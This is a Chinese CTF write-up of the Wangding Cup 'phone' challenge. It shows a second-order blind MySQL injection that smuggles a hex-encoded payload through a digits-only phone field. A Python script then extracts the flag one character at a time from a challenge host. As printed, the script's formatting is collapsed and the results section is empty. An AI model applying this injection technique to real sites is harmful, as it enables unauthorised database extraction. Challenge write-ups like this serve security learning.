網鼎杯題目“phone”--十六進位mysql注入

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註冊後,即可點擊查看誰的電話和我類似。

註冊時有三個必填項,分別是使用者名稱、密碼和電話。電話要求必須數字。

註冊個1111的電話後,點擊查看,返回有1個人電話和我類似,在註冊一個為1111的,返回有2人電話和我類似。 說明連資料庫查詢了,而且只返回數字。

盲注的思路,註冊時電話填寫十六進位。

於是python如下:

#coding=utf-8import requestsimport binasciiimport redef login_sqli(url,username,password,payload):        url = url    username = username    password = password    headers = {    ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0‘    }                # login    data = {‘username‘:username,    ‘password‘:password,    ‘phone‘:payload,    ‘register‘:‘Login‘    }        try:        #get_session        s = requests.session()        req1 = s.get(url+‘/index.php‘)                #register        req2 = s.post(url+‘/register.php‘,data = data)                #sqli        req3 = s.get(url+‘/query.php‘)        return req3.text        except:        print ‘Error‘        if __name__ == ‘__main__‘:        login_url = ‘http://6705466128f243d0aff0aba9deb7317439a2f08c6e9c4760.game.ichunqiu.com‘    password = ‘123123‘    result = ‘‘    pattern = re.compile(r‘\d?\d?\d?\d?\d?\d‘)    for i in range(1,43):        for j in range(33,128):            payload = "5555%%‘ and ord(mid((select * from flag),%d,1))=%d #" %(i,j)            payload_0x = binascii.b2a_hex(payload)            _payload = ‘0x‘+payload_0x            username = ‘userrif‘+str(i)+str(j)            text = login_sqli(login_url,username,password,_payload)            #time.sleep(3)            r = re.search(pattern,text)            if(int(r.group()) > 0):                print str(i)+‘-->‘+chr(j)            else:                continue

結果:

 

網鼎杯題目“phone”--十六進位mysql注入

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